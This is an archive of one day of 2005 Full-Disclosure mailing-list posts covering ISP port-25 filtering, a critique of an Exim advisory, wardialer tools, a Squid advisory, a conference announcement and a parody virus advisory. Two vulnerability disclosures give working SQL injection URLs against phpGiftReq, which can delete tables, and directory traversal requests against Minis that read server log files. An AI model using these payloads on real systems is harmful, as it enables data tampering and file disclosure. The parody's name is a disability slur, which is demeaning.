From sean at donelan.com  Sun Jan 16 01:57:46 2005
From: sean at donelan.com (Sean Donelan)
Date: Sat, 15 Jan 2005 20:57:46 -0500 (EST)
Subject: [Full-Disclosure] [MISC] SBC Blocks Port 25 - No Exceptions.
In-Reply-To: <mailman.812.1105835957.29708.full-disclosure@lists.netsys.com>
References: <mailman.812.1105835957.29708.full-disclosure@lists.netsys.com>
Message-ID: <Pine.GSO.4.58.0501151957580.10220@clifden.donelan.com>

Although it would be best if the SBC call center provided the
information, it appears some inaccurate information has been
provided.  I apologize for the inconvience and incorrect information.

SBC began to apply SMTP port 25 filters on Broadband and Dialup
connections using DYNAMIC IP addresses in October 2004.  This
includes both residential and businesses using DYNAMIC IP
addresses on broadband or dialup connections.  The change was
announced by SBC in the September 2004 customer newsletter and
on the SBC web site.

The SMTP port 25 filters are NOT being applied to broadband connections
using STATIC IP addresses nor to dedicated connections such as T1/T3 or
ATM/Frame-relay circuits.  A few customers with so-called "Sticky"
IP addresses may have accidently had a port 25 filter applied, but
they should now be automatically opted-out of the port 25 filter like
other customers with STATIC IP addresses.

The difference is connections using Dynamic versus Static (Sticky) IP
addresses; not business or consumer accounts.

Mail servers typically use connections with STATIC IP addresses,
and are fairly rare (except for viruses) on Dynamic IP addresses.
Mail user agents (Outlook, Eurdora, Netscape, etc) are more common
on Dynamic IP addresses.

Mail user agents using any of the following will NOT be affected by
the SMTP port 25 filters applied by SBC (or other ISPs).

   1. Your ISP's servers as a smarthost for outbound SMTP Port 25
   2. RFC 2476 Message Submission Protocol on Port 587
   3. Virtual Private Network (or PPTP) to a private mail server
   4. Web mail (Outlook Web Access and other Web mail services)

It would be nice if more mail servers and clients supported those by
default. Unfortunately most mail clients still use port 25 by default
and will require a change.  The good news is you can make those changes
anytime without waiting until the day your ISP begins to follow the
recommendations published by the Anti-Spam Technical Alliance, which
includes Microsoft, Yahoo, AOL and Earthlink.

Extremely few customers with Dynamic IP addresses operate their own
SMTP servers. SBC suggests customers first consider if they can
use any of the alternatives, in case one of the customer's computers
is ever infected by an e-mail virus in the future.

Nevertheless, those few customers which desire to send outbound
SMTP (port 25) e-mail directly from Dynamic IP address and can not
use any of the alternatives given above, may contact SBC to opt-out
of the port 25 filter on their Dynamic IP account.  The account
should be updated the same day the request is made (usually within
a few hours). The next time the DSL modem is reset, it will get
the new filter.  You may request the change before or after the
SMTP port 25 filters are implemented in your city.  Again, please
consider using one of the other alternatives first.

Be sure to give the PPPOE account ID in the opt-out request and
reset your DSL modem after the account is updated.  If you give a
different e-mail address or forget to reset the DSL modem, the
connection won't get the updated filter and it may appear as if
your account is still filtered long after the account was updated.


From mh+full-disclosure at zugschlus.de  Sun Jan 16 13:25:28 2005
From: mh+full-disclosure at zugschlus.de (Marc Haber)
Date: Sun, 16 Jan 2005 14:25:28 +0100
Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.14.05: Exim
	dns_buld_reverse() Buffer Overflow Vulnerability
In-Reply-To: <FB24803D1DF2A34FA59FC157B77C970503C8B0ED@idserv04.idef.com>
References: <FB24803D1DF2A34FA59FC157B77C970503C8B0ED@idserv04.idef.com>
Message-ID: <20050116132526.GA19182@torres.l21.ma.zugschlus.de>

Hi,

On Fri, Jan 14, 2005 at 12:41:05PM -0500, idlabs-advisories at idefense.com wrote:
> Exim dns_buld_reverse() Buffer Overflow Vulnerability 

That would have to be dns_build_reverse

> iDEFENSE Security Advisory 01.14.05
> www.idefense.com/application/poi/display?id=183&type=vulnerabilities

That web page is only viewable with JavaScript enabled, and is thus
unviewable with a browser configured to minimize the surfing risk. For
a security-related organization, I consider this poor design.

> /usr/bin/exim -bh ::%A`perl -e 'print pack('L',0xdeadbeef') x 256'`

That one is syntactically invalid, and neither of the obvious fixes
does result in a crash on Debian sid. exim 4.34-9, dated 2004-12-08,
correctly complains that it is unable to parse the parameter as an
IPv6 address and exits with an exit code of 1. The same happens with a
locally built 4.41 without Debian patches.

> iDEFENSE has confirmed the existence of this vulnerability in Exim 
> versions 4.40 and 4.41. A source audit of version 4.42 suggests that it 
> is also vulnerable. It is suspected that earlier versions are also 
> vulnerable.

According to the upstream author's advisory, released ten days before
the date of the advisory I am replying to, 4.43 is vulnerable as well.

> V. WORKAROUND
> 
> iDEFENSE is currently unaware of any effective workarounds for this 
> vulnerability.

However, exim's author has released a patch addressing this
vulnerability ten days before the release of the advisory stating
there are no effective workarounds.

So you are basically saying that the patch from Philip Hazel is
uneffective?

> VI. VENDOR RESPONSE
> 
> A patch for Exim release 4.43 which addresses this vulnerability is
> available at:
> 
>    http://www.exim.org/mail-archives/exim-announce/2005/msg00000.html

Is that patch an effective workaround, or is it not?

> The patch will be incorporated into a future Exim release (4.50).

There is also an interim release 4.44 incorporating the patch:

http://www.exim.org/mail-archives/exim-announce/2005/msg00001.html

I find it also interesting that the release message references two
iDEFENSE notification messages which reference numbers have not been
included in the final advisory as released by iDEFENSE.

> > VII. CVE INFORMATION
> 
> A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
> been assigned yet.

CAN-2005-0021 and CAN-2005-0022 have been assigned on 2005-01-04, ten
days before the date of the advisory stating that no CVE number has
been assigned.

> VIII. DISCLOSURE TIMELINE
> 
> 09/30/2004  Initial vendor notification
> 09/30/2004  Initial vendor response
  01/04/2005  Vendor releases a patch
  01/14/2005  Vendor releases interim release incorporating the patch
> 01/14/2005  Public disclosure

> IX. CREDIT
> 
> The discoverer of this vulnerability wishes to remain anonymous.

I can fully understand that. The entire advisory seems to be _very_
sloppily prepared, or to have been unduly delayed and passed by
reality before it was finally released.

If this advisory addresses CAN-2005-0021 and/or CAN-2005-0022, it
should not have been released in the first place. If it addresses a
new vulnerability, it should be more clear in that regard. And it
should include code that actually allows to reproduce the vulnerability.

Just for the record:
The following package versions of exim and exim4 in Debian/GNU Linux
fix the vulnerabilities listed in CAN-2005-0021 and CAN-2005-0022:

exim4     4.43-2         experimental
exim4     4.34-10        unstable, testing
exim      3.36-13        unstable, testing
exim      3.35-1woody4   stable
exim-tls  3.35-3woody3   stable

Greetings
Marc

-- 
-----------------------------------------------------------------------------
Marc Haber         | "I don't trust Computers. They | Mailadresse im Header
Mannheim, Germany  |  lose things."    Winona Ryder | Fon: *49 621 72739834
Nordisch by Nature |  How to make an American Quilt | Fax: *49 621 72739835


From dcdave at att.net  Sun Jan 16 15:06:00 2005
From: dcdave at att.net (dcdave at att.net)
Date: Sun, 16 Jan 2005 15:06:00 +0000
Subject: [Full-Disclosure] linux or windows 2003 based wardialer
Message-ID: <011620051506.9682.41EA82D800002D9F000025D221587667200A900E0B0C0B@att.net>

I remember when I worked at ISS, we had a locally built Windoze phone scanner. Probably still available, or I have a copy if anyone is interested.

dcdave
--
CSO 
InfoSec Group 
703-626-6516 



-------------- Original message from Matt Cuttler <mcuttler at bnl.gov>: -------------- 


> You should be able to run those older DOS programs - ToneLoc, THC-scan 
> etc. - from within a DOS emulator on your Linux box. Might be the path 
> of least resistance, if you're unable to find any newer software... Just 
> a thought. 
> 
> 
> -Matt Cuttler 
> 
> Paul Tinsley wrote: 
> 
> >Are there any good modern wardialers that will work in windows 2003 or 
> >RHES? I don't want to have to babysit a dos box running toneloc. My 
> >goal is to run and view the results of scans across the network. 
> > 
> > 
> 
> 
> _______________________________________________ 
> Full-Disclosure - We believe in it. 
> Charter: http://lists.netsys.com/full-disclosure-charter.html 
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050116/917c4ff4/attachment.html 

From steve_r125 at yahoo.co.uk  Sun Jan 16 16:25:19 2005
From: steve_r125 at yahoo.co.uk (Steve R)
Date: Sun, 16 Jan 2005 16:25:19 +0000 (GMT)
Subject: [Full-Disclosure] Re: Google.com down?
In-Reply-To: <200501160023.j0G0NbWf035058@mail1.mx.voyager.net>
Message-ID: <20050116162519.28010.qmail@web25210.mail.ukl.yahoo.com>

 --- danjr <danjr at voyager.net> wrote: 
> > I just tried to do a google search,
> > and the connection timed out.
> > Coincidentally, I had to dial back
> > into the Internet.  After dialing
> > back in, I figured I'd alert
> > everybody that Google might be down!
> 
> As previously suggested with a similar email, just
> because a site is 
> down locally does not mean it is down globally.  In
> other words, just 
> because you are not able to access a web site, this
> does not mean that 
> others cannot access it.  Google is up and running
> fine.  Also, you 
> apparently were having internet connection issues to
> begin with.
> 
> Dan

Somebody else that forgot to put on their sense of
humour hat on this morning! 


	
	
		
___________________________________________________________ 
ALL-NEW Yahoo! Messenger - all new features - even more fun! http://uk.messenger.yahoo.com


From madelman at iname.com  Sun Jan 16 17:47:52 2005
From: madelman at iname.com (Madelman)
Date: Sun, 16 Jan 2005 18:47:52 +0100
Subject: [Full-Disclosure] phpGiftReq SQL Injection
Message-ID: <41EAA8C8.6050600@iname.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Title: phpGiftReq SQL Injection
Vulnerability discovery: Madelman <madelman AT iname.com>
Date: 16/01/2005
Severity: Moderately critical

Summary:
- --------

The PHP Gift Registry is a web-enabled gift registry intended for use
among a circle of family members or friends
(from vendor site: http://phpgiftreg.sourceforge.net/)

phpGiftReq doesn't validate the parameters. This allows SQL Injection
and modification of data in the database.

This vulnerability has been tested with phpGiftReq 1.4.0

Details:
- --------

Acknowledge all messages
http://[SERVER]/phpgiftreg/index.php?action=ack&messageid=2%20OR%201%3d1

Approve all pending requests
http://[SERVER]/phpgiftreg/index.php?action=approve&shopper=1%20OR%201%3d1

Decline all pending requests
http://[SERVER]/phpgiftreg/index.php?action=decline&shopper=1%20OR%201%3d1

Inserts current shopper for buying to user 3 without need for approval
http://[SERVER]/phpgiftreg/index.php?action=request&shopfor=3%2c0%29%2c%2899%2c100

Delete all data from table shoppers
http://[SERVER]/phpgiftreg/index.php?action=cancel&shopfor=3%20OR%201%3d1

Delete all data from table items
http://[SERVER]/phpgiftreg/item.php?action=delete&itemid=3%20OR%201%3d1

I'm fairly sure there are a lot more places where SQL can be injected,
but I don't havetime to check them all.


Solution:
- ---------

All parameters should be converted to integers before creating the query.

Example:

Substitute

if ($action == "ack") {
~    $query = "UPDATE messages SET isread = 1 WHERE messageid = " .
$_GET["messageid"];
~    mysql_query($query) or die("Could not query: " . mysql_error());
}

with

if ($action == "ack") {
~    $query = "UPDATE messages SET isread = 1 WHERE messageid = " .
((int) $_GET["messageid"]);
~    mysql_query($query) or die("Could not query: " . mysql_error());
}


Timeline
- --------

31/12/2004 - Vulnerability found
31/12/2004 - Vendor contacted
16/01/2005 - Vendor hasn't replied. Advisory released
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFB6qif3RWooxY20cIRAmSdAKCJEpPvYyfMpLC0YVP0XMz7OK7maQCcDZOC
DI/zEDH+ORCaUt2uvRiL1eo=
=44JS
-----END PGP SIGNATURE-----


From madelman at iname.com  Sun Jan 16 18:04:16 2005
From: madelman at iname.com (Madelman)
Date: Sun, 16 Jan 2005 19:04:16 +0100
Subject: [Full-Disclosure] Minis directory traversal vulnerability
Message-ID: <41EAACA0.1040700@iname.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Title: Minis directory traversal vulnerability
Vulnerability discovery: Madelman <madelman AT iname.com>
Date: 31/12/2004
Severity: Moderate

Summary:
- --------

(from vendor site: http://minis.sourceforge.net/)

Minis is a tiny, PHP-powered, text-file based weblogging system.
It is easily configured for normal use and it doesnt require any
databases, such as MySQL. Also, with some PHP-knowledge youll be
able to configure Minis endlessly.

Minis doesn't check the month parameter which allows reading any file with .log extension

This vulnerability has been tested with Minis 0.2.1


Details:
- --------

If we want to read /var/log/XFree86.0.log:

REQUEST:
http://[SERVER]/minis/minis.php?month=../../../../../../../../var/log/XFree86.0
RETURNS: (looking at source of HTML)
[...]
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=This is a pre-release version of XFree86, and is not supported in any
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=way.  Bugs may be reported to XFree86 at XFree86.Org and patches submitted
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=to fixes at XFree86.Org.  Before reporting bugs in pre-release versions,
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=please check the latest version in the XFree86 CVS repository
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=(http://www.XFree86.Org/cvs).
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=XFree86 Version 4.3.0.1 (Debian 4.3.0.dfsg.1-4 20040529113443 root at cyberhq.internal.cyberhqz.com)
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=Release Date: 15 August 2003
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=X Protocol Version 11, Revision 0, Release 6.6
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=Build Operating System: Linux 2.6.6-rc3-bk9 i686 [ELF]
"></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=Build Date: 29 May 2004
[...]

If we try to read a file that doesn't exist (in this example /var/log/XFree86.log) Minis returns "No such month"

REQUEST:
http://[SERVER]/minis/minis.php?month=../../../../../../../../var/log/XFree86
RESPONSE:
No such month.


If we try to read a file the webserver doesn't have autorization to, Minis enters an endless loop which
could cause an incredible amount of bandwith spent by the server or even a DoS

REQUEST:
http://[SERVER]/minis/minis.php?month=../../../../../../../../var/log/auth
RETURNS:
Warning: fopen(blog/../../../../../../../../var/log/auth.log): failed to open stream: Permission denied in /var/www/minis/minis.php on line 109

../../../../../../../../var/log/auth

Warning: feof(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 111

Warning: fgets(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 112

Warning: feof(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 111

Warning: fgets(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 112
[...]


Timeline
- --------

31/12/2004 - Vulnerability found
31/12/2004 - Vendor contacted
16/01/2005 - Vendor hasn't replied. Advisory released
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFB6qyg3RWooxY20cIRAg4cAJ41z36lEK44et5nx4V6tspofoo+zACgnLr6
nUEj8oDBySiBN2ScbMinO7s=
=sSF1
-----END PGP SIGNATURE-----


From bcs2005 at bellua.com  Sun Jan 16 19:11:17 2005
From: bcs2005 at bellua.com (Anthony Zboralski)
Date: Mon, 17 Jan 2005 02:11:17 +0700
Subject: [Full-Disclosure] BCS 2005 Asia - Final Speakers list and Call for
	Posters
Message-ID: <65D11316-67F2-11D9-BD43-000A95B1B62E@bellua.com>

Dear all,

I'd like to thank everyone who submitted!

We are very pleased to announce that over 35 speakers and tutors from 
numerous disciplines
will join Bellua Cyber Security Asia 2005 to discuss present and future 
information security
issues through an intensive series of workshops, presentations, 
technical sessions and
demonstrations.

Call for Posters is extended until 1st March 2005. There will be a 
special prize for
the best poster! Selected posters will get a free conference pass.

Important date:

21-22 March 2005: BCS Asia 2005 Workshops
23-24 March 2005: BCS Asia 2005 Conference

http://www.bellua.com/bcs2005/asia05.speakers.html

The Keynote Speakers:

Bapak DR. Sofyan Djalil,  Minister of Communications and Information 
(Indonesia)
Onno Purbo (Indonesia)

The Business Track:

John Grygorcewicz - The Importance of Security in Business Processes 
(Australia)
Fetri Miftach - Building Security into Treasury Systems (Indonesia)
Ralph K. Logan - The Practice and Business of Code Auditing (United 
States)
Emmanuel Gadaix - Telecom Security: Hacking SS7 Networks (France)
Fabrice Marie - Hacking Internet Banking Applications (France)
Philip Victor - Converging Security Awareness into the Organisation's 
Culture (Malaysia)
Jim Geovedi - Day to Day Security for Managers, Users and SMEs 
(Indonesia)
Gan Subramaniam - BS7799 a Journey not a Destination (United Kingdom)
John Howie - Compliance Management: Is Patch Management Dead? (United 
States)
Phil Leifermann - Enterprise Security Management (Australia)
Roberto Preatoni & Fabio Ghioni - Cyber Terrorism and Cyber War (Italy)

The Technical Track:

The Grugq - Digital Forensics and the Art of Anti-Forensics (United 
Kingdom)
Adam J. O'Donnell - The Interplay of Diversity and Security (United 
States)
David Maynor - DMA: The Unknown Attack Vector (United States)
Cesar Cerrudo - Windows IPC Exploitation (Argentina)
Archim - Sun Bloody Daft Solaris Mechanisms (United Kingdom)
Don Bailey "North" - Once a Thief, Kernel Rootkit (United States)
S.K. Chong - Windows Local Kernel Exploitation (Malaysia)
Fyodor Yarochkin & Meder Kydyraliev - Advanced Intrusion Data 
Normalisation and Correlation (Kyrgyzstan)
Julien Vanegue & Sebastien Soudan - Distributed Binary Manipulation 
(France)
Marc Schonefeld - Java & Secure Programming (Germany)
Shreeraj Shah - Web Application Kung-Fu, The Art of Defense (India)
Stefano Zanero - Unsupervised Learning for Intrusion Detection (Italy)

Panel Discussion: Honeypot & Honeynet

Ralph K. Logan - The Honeynet Project (United States)
Kamal Hilmi Othman - Honeypot and Internet Background Noise (Malaysia)
Marek Bialoglowy - Deploying Custom Honeypot to catch Insider Hackers 
(Poland)

Panel Discussion: The Security and Hacking Community

Skyper - Ralf Kaiser - Editor in Chief of Phrack Magazine
Onno Purbo - Internet For Every One (Indonesia)
Roberto Preatoni (Italy)

http://www.bellua.com/bcs2005/asia05.workshops.html
(more workshops to be added soon)

Business Workshops:

John Ellingson - The Reality of Identity Theft - (1 Day)
Phil Leifermann - Enterprise Security Management - (1 Day)

Technical Workshops:

The Grugq - Practical Digital Forensic Analysis and Incident Response 
(1 Day)
The Grugq - File System Intensive: Unix's File Systems (1/2 Day)
The Grugq - File System Intensive: Window's File Systems (1/2 Day)
Arian J. Evans - Web Application Exploitation in the Wild (1/2 Day)
Arian J. Evans - Building Secure Web Applications (1/2 Day)
Shreeraj Shah - Web Application: Attacks and Defense (2 Days)
Sensepost - Hacking by Numbers: Bootcamp Edition (2 Days)
Sensepost - Hacking by Numbers: Combat Edition (2 Days)
Jonathan Hassell - Deploying Network Access Quarantine Control in 
Windows (1/2 Day)
Marc Schonefeld - Ying and Yang of Java Security Programming (1/2 Day)
Don Bailey - Plan9: OS Internals from a Rabbit's Perspective (1/2 Day)
Cesar Cerrudo - Hacking and Defending MS SQL Server (1/2 Day)

Silver Sponsors:
Bispro Consulting, M-Sistem

Bronze Sponsors:
Telecom Security Task Force, Unipro

Media Partners:
The Hacker's Choice, Phrack Magazine, Packet Storm, HackintheBox, HERT,
ISN, Ebizzasia, Zone-H

Online registration is now open!
US$320 for early bird registration!

Cheers,

gaius

-- 
Bellua Cyber Security Asia 2005 - http://www.bellua.com/bcs2005
21-22 March - The Workshops - 23-24 March - The Conference
bcs2005 at bellua.com - Phone: +62213918330 HP:+628159102495



From jaervosz at gentoo.org  Sun Jan 16 19:47:41 2005
From: jaervosz at gentoo.org (Sune Kloppenborg Jeppesen)
Date: Sun, 16 Jan 2005 20:47:41 +0100
Subject: [Full-Disclosure] [ GLSA 200501-25 ] Squid: Multiple vulnerabilities
Message-ID: <200501162047.48068.jaervosz@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-25
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Squid: Multiple vulnerabilities
      Date: January 16, 2005
      Bugs: #77934, #77521
        ID: 200501-25

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Squid contains vulnerabilities in the the code handling NTLM (NT Lan
Manager), Gopher to HTML and WCCP (Web Cache Communication Protocol)
which could lead to denial of service and arbitrary code execution.

Background
==========

Squid is a full-featured Web proxy cache designed to run on Unix
systems. It supports proxying and caching of HTTP, FTP, and other URLs,
as well as SSL support, cache hierarchies, transparent caching, access
control lists and many other features.

Affected packages
=================

    -------------------------------------------------------------------
     Package          /  Vulnerable  /                      Unaffected
    -------------------------------------------------------------------
  1  www-proxy/squid     < 2.5.7-r2                        >= 2.5.7-r2

Description
===========

Squid contains a vulnerability in the gopherToHTML function and
incorrectly checks the 'number of caches' field when parsing
WCCP_I_SEE_YOU messages. Furthermore the NTLM code contains two errors.
One is a memory leak in the fakeauth_auth helper and the other is NULL
pointer dereferencing error.

Impact
======

With the WCCP issue an attacker could cause denial of service by
sending a specially crafted UDP packet. With the Gopher issue an
attacker might be able to execute arbitrary code by enticing a user to
connect to a malicious Gopher server. The NTLM issues could lead to
denial of service by memory consumption or by crashing Squid.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Squid users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=www-proxy/squid-2.5.7-r2"

References
==========

  [ 1 ] Secunia Advisory SA13825
        http://secunia.com/advisories/13825/
  [ 2 ] Secunia Advisory SA13789
        http://secunia.com/advisories/13789/

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-25.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050116/9b9b0708/attachment.bin 

From fw at deneb.enyo.de  Sun Jan 16 20:47:05 2005
From: fw at deneb.enyo.de (Florian Weimer)
Date: Sun, 16 Jan 2005 21:47:05 +0100
Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.14.05: Exim
	dns_buld_reverse() Buffer Overflow Vulnerability
In-Reply-To: <20050116132526.GA19182@torres.l21.ma.zugschlus.de> (Marc Haber's
	message of "Sun, 16 Jan 2005 14:25:28 +0100")
References: <FB24803D1DF2A34FA59FC157B77C970503C8B0ED@idserv04.idef.com>
	<20050116132526.GA19182@torres.l21.ma.zugschlus.de>
Message-ID: <873bx1je46.fsf@deneb.enyo.de>

* Marc Haber:

>> VIII. DISCLOSURE TIMELINE
>> 
>> 09/30/2004  Initial vendor notification
>> 09/30/2004  Initial vendor response

>   01/04/2005  Vendor releases a patch

(publicly, by the way)

>   01/14/2005  Vendor releases interim release incorporating the patch

>> 01/14/2005  Public disclosure

I'd a bit surprised if this timeline were correct.  I can't really
imagine Philip sitting on this bug for a couple of months.



From randallm at fidmail.com  Sun Jan 16 23:17:46 2005
From: randallm at fidmail.com (RandallM)
Date: Sun, 16 Jan 2005 17:17:46 -0600
Subject: [Full-Disclosure] Wide spread DSV
Message-ID: <200501162317.j0GNHfrs023521@lists.netsys.com>

 

Problem: Down Syndrome Virus (DSV)
Affected devices: Various web, internet, intranet and PC's.
Severity: DOA (Denial of Access).
Author: Ima Notserious 
Warnings: Elevated
Fix: At present no available fixes.

:::::::::::::::::::::::::::::::::::::
Overview:

Many users have been reporting various sites to be "down". 
This has a wide spread effect and can be found 
across the internet and intranets. The DSV has even been
reported to effect PC's and other devices

::::::::::::::::::::::::::::::::::::::
Details:

Internet/Intranet: When user clicks on links or types in addresses
browsers hesitate then display 404 messages.
 
PC's: When power buttons are used to start PC, expected 
operating systems fail to load with various failed messages.

::::::::::::::::::::::::::::::::::::::
Reason for Elevated Warnings: 

The DSV was elevated do to the infection spreading to a PC. 
A researcher found this after visiting one of the reported "down" sites. 
After reboot of PC, the PC failed to load. The site in question was
Amazon.COM.

::::::::::::::::::::::::::::::::::::::
Fix: 

At present researchers are conducting various tests to find out 
how the DSV infects, the mechanism used to spread and 
what if any fixes are available. It has been reported that the 
possible spread is thru port 25. At present some service providers
have begun to test this by blocking the port. 

::::::::::::::::::::::::::::::::::::::
Work around:

Do not visit any sites on internet or intranets. Do not turn PC's off if you

have recently visited any sites on the Web.



Advisory by: WorldWideWatchers.Inc
Copyright (c) 2004 WWW.Inc




From nick at virus-l.demon.co.uk  Sun Jan 16 23:44:54 2005
From: nick at virus-l.demon.co.uk (Nick FitzGerald)
Date: Mon, 17 Jan 2005 12:44:54 +1300
Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.14.05: Exim
	dns_buld_reverse() Buffer Overflow Vulnerability
In-Reply-To: <20050116132526.GA19182@torres.l21.ma.zugschlus.de>
References: <FB24803D1DF2A34FA59FC157B77C970503C8B0ED@idserv04.idef.com>
Message-ID: <41EBB346.8649.1C1FD080@localhost>

Marc Haber wrote:

> > iDEFENSE Security Advisory 01.14.05
> > www.idefense.com/application/poi/display?id=183&type=vulnerabilities
> 
> That web page is only viewable with JavaScript enabled, and is thus
> unviewable with a browser configured to minimize the surfing risk. For
> a security-related organization, I consider this poor design.

I've tried that line against them several times in the past.  It seems 
they just don't care, so I take that to mean iDEFENSE is _NOT_ "a 
security-related organization".

Perhaps the purpose of the script gives us a clue as to the true nature 
of iDEFENSE's business?

There are two scripts in that page (in fact, last I checked, these 
scripts govern access to most pages on the iDEFENSE site).  The first 
is an external script called thus:

   [script type="text/javascript" src="/js/flashdetect.js"][/script]

http://www.idefense.com/js/flashdetect.js sets a bunch of variables to 
"false", including "isFlash5" and "isFlashMX" then proceeds to 
determine either of the above should be set to "true".

The second script is page-specific because it includes content-specific 
URL redirections using JavaScript's "location" function (reformatted to 
a more Email-friendly indentation):

   [script language="JavaScript" type="text/javascript"]
     //[!--
       if (isFlashMX) {

         location = '/application/poi/display?id=183&type=vulnerabilities&flashstatus=true';

       }
       else {

         location = '/application/poi/display?id=183&type=vulnerabilities&flashstatus=false';

       }		
     //--]

   [/script]

So, we can "fix" this dependence on scripting by using your preferred 
choice of these URLs:

   http://www.idefense.com/application/poi/display?id=183&type=vulnerabilities&flashstatus=false

   http://www.idefense.com/application/poi/display?id=183&type=vulnerabilities&flashstatus=true

Clearly the purpose of these scripts is to direct us to a "Flash-
enabled" version of the page if our browsers are considered to be 
"Flash enough" to handle the required Flash version.  So what do the 
fancy, Flash versions of these pages offer that the non-Flash versions 
don't?

An egregiously animated background graphic for the "Power of 
Intelligence" banner and a typically anti-browser-navigation methods 
"Flash" menu.

Some agency or "celebrity designer" was probably badly overpaid for 
this excess of design indulgence over content accessibility, so it 
seems that marketing is a greater objective here than than information 
provision and access...

Microsoft retroactively (i.e. in response to complaints) fixed its 
security bulletins last time they were re-designed by a gnat who could 
not only not comprehend that some folk willingly browse the web with 
scripting and ActiveX disabled, but was obviously given a design 
briefing, written by someone at the supposedly now entirely security-
focussed Redmond giant, that did not specify suitable usability 
guidelines for the pages in question for varying levels of browser 
security setting.

Sophos fixed its recently re-designed into scripting hell virus 
description web pages following user complaints.

Shall we see if iDEFENSE can actually use "the power of intelligence" 
it claims to be able to provide its customers and produce security 
advisory pages that are actually functionally useful to its most 
security-conscious web visitors, rather than (perhaps) being the most 
visually appealing eye-candy for the security-ignorant it hopes to 
entice into being its new customers?


Regards,

Nick FitzGerald



From nodialtone at comcast.net  Mon Jan 17 00:00:37 2005
From: nodialtone at comcast.net (Byron Copeland)
Date: 16 Jan 2005 19:00:37 -0500
Subject: [Full-Disclosure] Wide spread DSV
In-Reply-To: <200501162317.j0GNHfrs023521@lists.netsys.com>
References: <200501162317.j0GNHfrs023521@lists.netsys.com>
Message-ID: <1105920036.4619.0.camel@Stargate>

LMAO!  Good done.

On Sun, 2005-01-16 at 18:17, RandallM wrote:
>  
> Problem: Down Syndrome Virus (DSV)
> Affected devices: Various web, internet, intranet and PC's.
> Severity: DOA (Denial of Access).
> Author: Ima Notserious 
> Warnings: Elevated
> Fix: At present no available fixes.
> 
> :::::::::::::::::::::::::::::::::::::
> Overview:
> 
> Many users have been reporting various sites to be "down". 
> This has a wide spread effect and can be found 
> across the internet and intranets. The DSV has even been
> reported to effect PC's and other devices
> 
> ::::::::::::::::::::::::::::::::::::::
> Details:
> 
> Internet/Intranet: When user clicks on links or types in addresses
> browsers hesitate then display 404 messages.
>  
> PC's: When power buttons are used to start PC, expected 
> operating systems fail to load with various failed messages.
> 
> ::::::::::::::::::::::::::::::::::::::
> Reason for Elevated Warnings: 
> 
> The DSV was elevated do to the infection spreading to a PC. 
> A researcher found this after visiting one of the reported "down" sites. 
> After reboot of PC, the PC failed to load. The site in question was
> Amazon.COM.
> 
> ::::::::::::::::::::::::::::::::::::::
> Fix: 
> 
> At present researchers are conducting various tests to find out 
> how the DSV infects, the mechanism used to spread and 
> what if any fixes are available. It has been reported that the 
> possible spread is thru port 25. At present some service providers
> have begun to test this by blocking the port. 
> 
> ::::::::::::::::::::::::::::::::::::::
> Work around:
> 
> Do not visit any sites on internet or intranets. Do not turn PC's off if you
> 
> have recently visited any sites on the Web.
> 
> 
> 
> Advisory by: WorldWideWatchers.Inc
> Copyright (c) 2004 WWW.Inc
> 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
-- 
Byron Copeland
www.virtualondemand.com

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050116/9f2b5fd5/attachment.bin 

